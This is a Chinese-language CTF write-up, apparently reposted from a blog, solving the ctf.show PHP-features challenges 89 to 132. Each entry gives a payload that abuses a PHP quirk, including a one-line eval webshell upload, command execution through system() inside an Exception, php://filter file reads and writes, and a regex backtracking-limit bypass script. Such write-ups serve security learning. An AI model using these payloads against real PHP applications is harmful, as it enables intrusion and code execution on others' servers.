编程语言
首页 > 编程语言> > ctf_show-php特性-89-132

ctf_show-php特性-89-132

作者:互联网

89

 

get传参,满足两个条件,不能出现0-9,但是要满足是整数

这里传入 ?num[]=a 即可,对于第一个过滤,preg_match()函数无法处理数组。对于第二个过滤,intval()** 不能用于 object,否则会产生 **`E_NOTICE`** 错误并返回 1。

 

 

90

 

?num=+4476 ,由于是强等于,绕过方法很多,加正号,八进制 16进制都可以

 

 

91

 

 m会匹配多行,因此传入%0a换行符即可

?cmd=%0aphp

 

 

92

 

 输入4476e1,即可开始会当作字符串,但是intval会理解为多次方

 

 

93

 

?num=4476.1 进制转换和小数点都可以

 

 

95

 

 ?num=4476.0 前后都是强等于,但是注意不能0开头,过滤了8进制,16进制。因此还可以用小数点,注意强等于,要用4476.0

 

 

96

 

 ?num=+010574,开头不能为0,但是可以加个+,再用8进制绕过

 

 

 97

 

a[]=1&b[]=2,md5不能处理数组

 

 

98

 

关键是这一句话:$_GET?$_GET=&$_POST:'flag'; 意思是如果有get传值,就让post传值覆盖它,因此get随便传入一个即可,post传入HTTP_FLAG=flag

?a=1  post:HTTP_FLAG=flag

 

 

99

 

注意到in_array是弱类型比较,因此其中存在1,我们传入n=1.php也是会返回true,由于每次传入都有可能传入1,因此1.php概率很大

?n=1.php  post:content=<?php @eval($_POST[1]);?>

 

 

 100

 ?v1=1&v2=print&v3=;print_r($ctfshow); 这里说一下前面检测数字的绕过: and和or的优先级是低于=的

 

 

 

101

 

 

 过滤了一大堆特殊符号,这里是一个考点,反射类 ?v1=1&v2=echo new Reflectionclass&v3=;

即echo new Reflectionclas('$ctfshow'),注意flag少一位,要自己爆破一下

 

 

102

 

这里要求v2是数字,v3是写入的文件名,比如叫1.php。但问题是要写入语句又要满足是数字。这里有call_user_func可以自己自订函数,这里用hex2bin函数,将十六进制串转为字符串

在php5是 is_ numeric可以分辨待遇字母的十六进制串,但是在php7却不能这么做,返回是flase

因此我们要寻找一种只有数字的16进制串,但是注意由于php代码有 <?>之类的符号,肯定会含有字母,因此可以先将php代码base64再hex,争取不含数字

最后找到这个串5044383959474e6864434171594473(含有e,但是e会被当作次方,不影响),最后要注意串从第二个开始,因此前面要再加上两个字符:115044383959474e6864434171594473

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php   post:hex2bin

 

 

103

 同102

 

 

104

 

 

 传入两个数组即可,sha1也不能处理数组

 

 

105

简单的参数传递 ?temp=flag  post:error=temp

 

 

106

 

 

?v2[]=2  post: v1[]=1  同上一题

 

 

107

 

 

 看parse_str这个函数:

$a='q=123&p=456';
parse_str($a,$b);
echo $b['q'];   //输出123
echo $b['p'];   //输出456

因此post:v1=flag=c4ca4238a0b923820dcc509a6f75849b   get=?v3=1

 

 

108

 

 

 ?c=a%00778,这里注意ereg存在%00截断

 

 

109

 

 

 

通过异常处理类 Exception(system(‘cmd’)) 可以运行指定代码,并且能返回运行的结果(如果存在返回)

?v1=exception&v2=system('cat%20fl36dg.txt')

 

 

110

 

 上面一题的异常类也没法用了,这里用的是文件读取类

?v1=FilesystemIterator&v2=getcwd,getcwd返回当前路径(但是这个只能返回第一个值)

 

 

111

 

 

 ?v1=ctfshow&v2=GLOBALS  这是输出全局变量即可

 

 

112

 

 

 伪协议不用编码即可:?file=php://filter/resource=flag.php

 

 

113

 

 

 这里可以用其他的协议:file=compress.zlib://flag.php,

还有个预期解:

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

原理是:超过20次软连接后就可以绕过is_file

 

 

114

 

 

 没过滤filter,file=php://filter/resource=flag.php

 

 

115

 

注想办法绕过trim即可,这里tirm是删除两边一些符号,经过测试发现%0c没删除,?num=%0c36

 

 

123

php变量名不允许使用点号,会变成下划线,但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化.

POC:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

(不知道变量名:echo implode(get_defined_vars()))

 

 

 

 125

 

方法一:poc:post: CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me&a=1

extract是将参数里的变量传入到当前里的符号表里,那么满足fl0g,能够输出flag

方法二:parse_str是字符串解析为变量,为指定解析到哪,会解析到当前符号表。

注意$a=$_SERVER['argv'];,这个变量会解析get传入的参数,如果是&分隔,它会认为是一个变量

 

 

 而用+号分割

 

 

 

还有一个比较基础的:

get:?1=flag.php
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

 

 

 

126

 

 

 方法同125的方法一

 

 

 

127

 

 

 首先注意$_SERVER["QUERY_STRING"],这个变量是获取后面的参数

http://www.xxx.com/index.php?p=222&q=u
$_SERVER["QUERY_STRING"]==>“p=222&q=u”;
$_SERVER["REQUEST_URI"] ==>"/?p=222&q=u";
$_SERVER["SCRIPT_NAME"] ==>"/index.php";
$_SERVER["PHP_SELF"] ==>"/index.php";

?ctf show=ilove36d,这里的空格会自动解析为_

 

 

 

128

 

 

 poc: ?f1=_&f2=get_defined_vars , get_defined_vars前面已经说过了是输出所有变量,而f1过滤了数字和大小写字母,这里利用_.

_()是gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数

 

 

 

129

 

 

 伪协议加上ctfshow即可,?f=php://filter/ctfshow/resource=flag.php

 

 

 

130

直接f=ctfshow 即可

 

 

 

131

 

技巧:在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

post输入大量36dctfshow即可

import requests
url = "http://350eb7d4-454d-4c6d-a846-507f8dceffc0.challenge.ctf.show/"
data = {"f": "test"*250000+"36Dctfshow",}
r = requests.post(url=url, data=data)
print(r.text)

 

 

 

132

访问/admin

 

 payload:?username=admin&password=1&code=admin,简单的逻辑符号分析

 

标签:show,root,self,flag,132,ctf,post,php,proc
来源: https://www.cnblogs.com/aninock/p/15421870.html